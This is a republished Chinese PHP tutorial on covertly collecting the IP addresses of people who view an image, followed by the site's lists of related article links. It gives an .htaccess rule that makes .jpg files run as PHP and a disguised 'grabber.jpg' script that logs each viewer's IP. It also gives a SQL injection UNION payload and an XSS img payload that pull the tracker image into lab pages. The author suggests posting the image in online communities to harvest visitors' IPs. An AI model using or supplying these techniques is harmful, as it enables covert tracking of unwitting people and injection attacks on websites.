基于PHP实现通过照片获取ip地址


Posted in PHP onApril 26, 2016

在本教程中,我们将学习如何用一张照片来盗取ip地址。我的想法是通过修改.htaccess文件,将jpg文件当作php文件来解析。

下面就是我们需要向.htaccess中添加的代码:

AddHandler application/x-httpd-php5 .jpg

然后将下面的代码复制到记事本中,命名为grabber.jpg

<?php
$fh = fopen(‘ip_list.txt', ‘a');
fwrite($fh, $_SERVER[‘REMOTE_ADDR'].”
“);
fclose($fh);
$im = imagecreatefromjpeg(“n00b.png”);
header(‘Content-Type: image/jpeg');
imagejpeg($im);
imagedestroy($im);
?>

将grabber.jpg的权限设置为755,然后再找一张照片,将其命名为n00b.png,接着放到与grabber.jpg相同的目录之中。

就这样,一切工作就绪了。当别人浏览grabber.jpg这张照片的时候,他的ip地址就会被记录下来。

(译者注:需要把这些东西上传至我们的个人网站空间中)

POC:

(译者注:作者这里贴了一张可获取ip的演示照片,为了大家的隐私,我没有将其贴出,读者可自行去作者博客查看)

至此,我们的照片已经可以开始工作了。

接着我还想说明一下如何使用SQLi来获取ip地址。其实使用照片来盗取ip地址十分快捷,我们没有理由去使用SQLi这种方法,但是为了让读者获取到更多的知识,我还是说明一下吧:

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1′ union select 1,0x3c696d67207372633d22687474703a2f2f6c65657474696d652e6e65742f6964696f74735f746573745f6c61622f696d61676569702f7472796d652e6a7067223e,3#

现在,再说一下如何使用xss来获取ip地址:

http://leettime.net/xsslab1/chalg1.php?name=<img src=”http://leettime.net/idiots_test_lab/imageip/tryme.jpg”>&submit=Search

好了,就是这些了。

我们可以用这个技巧做许多有趣的事情,事实上大部分社区都允许我们发布一些照片,所以我们可以用这个方法去获取所有访问到我们照片的人的ip地址。

以上所述是小编给大家介绍的基于PHP实现通过照片获取ip地址的相关内容,希望对大家有所帮助!

PHP 相关文章推荐
新版PHP将向Java靠拢
Oct 09 PHP
连接到txt文本的超链接,不直接打开而是点击后下载的处理方法
Jul 01 PHP
在VS2008中编译MYSQL5.1.48的方法
Jul 03 PHP
php中CI操作多个数据库的代码
Jul 05 PHP
基于PHP magic_quotes_gpc的使用方法详解
Jun 24 PHP
php的sprintf函数的用法 控制浮点数格式
Feb 14 PHP
PHP封装的一个支持HTML、JS、PHP重定向的多功能跳转函数
Jun 19 PHP
php实现简单的MVC框架实例
Sep 23 PHP
PHP-FPM运行状态的实时查看及监控详解
Nov 18 PHP
PHP 获取指定地区的天气实例代码
Feb 08 PHP
PHP在同一域名下两个不同的项目做独立登录机制详解
Sep 22 PHP
php操作redis命令及代码实例大全
Nov 19 PHP
各种快递查询--Api接口
Apr 26 #PHP
浅析Yii2集成富文本编辑器redactor实例教程
Apr 25 #PHP
Yii2增加验证码步骤详解
Apr 25 #PHP
Yii实现显示静态页的方法
Apr 25 #PHP
mysql_escape_string()函数用法分析
Apr 25 #PHP
PHP中addslashes与mysql_escape_string的区别分析
Apr 25 #PHP
PHP引用的调用方法分析
Apr 25 #PHP
You might like
四月新番又没了,《Re:从零开始的异世界生活》第二季延期至7月播出
2020/05/06 日漫
深入mysql_fetch_row()与mysql_fetch_array()的区别详解
2013/06/05 PHP
php中时间函数date及常用的时间计算
2017/05/12 PHP
IE DOM实现存在的部分问题及解决方法
2009/07/25 Javascript
JavaScript访问字符串中单个字符的两种方法
2015/07/03 Javascript
浅谈javascript中return语句
2015/07/15 Javascript
jquery与ajax获取特殊字符实例详解
2017/01/08 Javascript
浅谈jQuery中事情的动态绑定
2017/02/12 Javascript
angularjs实现柱状图动态加载的示例
2017/12/11 Javascript
vue计算属性和监听器实例解析
2018/05/10 Javascript
jQuery属性选择器用法实例分析
2019/06/28 jQuery
在vue中利用全局路由钩子给url统一添加公共参数的例子
2019/11/01 Javascript
jQuery实现简单弹幕制作
2020/12/10 jQuery
[30:00]完美世界DOTA2联赛PWL S2 Rebirth vs LBZS 第二场 11.28
2020/12/01 DOTA
在Python中关于中文编码问题的处理建议
2015/04/08 Python
python实现自动更换ip的方法
2015/05/05 Python
在Python的Django框架中更新数据库数据的方法
2015/07/17 Python
pandas带有重复索引操作方法
2018/06/08 Python
Python模拟简单电梯调度算法示例
2018/08/20 Python
Django实现单用户登录的方法示例
2019/03/28 Python
Pandas删除数据的几种情况(小结)
2019/06/21 Python
在Python中合并字典模块ChainMap的隐藏坑【推荐】
2019/06/27 Python
使用虚拟环境打包python为exe 文件的方法
2019/08/29 Python
用python3读取python2的pickle数据方式
2019/12/25 Python
html5如何及时更新缓存文件(js、css或图片)
2013/06/24 HTML / CSS
Chain Reaction Cycles俄罗斯:世界上最大的在线自行车商店
2019/08/27 全球购物
Ooni英国官网:披萨烤箱
2020/05/31 全球购物
前处理班长职位说明书
2014/03/01 职场文书
导师推荐信范文
2014/05/09 职场文书
电子信息工程自荐信
2014/05/26 职场文书
2014年社区教育工作总结
2014/12/02 职场文书
教师个人师德总结
2015/02/06 职场文书
入党转正申请报告
2015/05/15 职场文书
经营场所证明范本
2015/06/19 职场文书
“爱眼护眼,提前预防近视”倡议书3篇
2019/10/30 职场文书
搭建zabbix监控以及邮件报警的超级详细教学
2022/07/15 Servers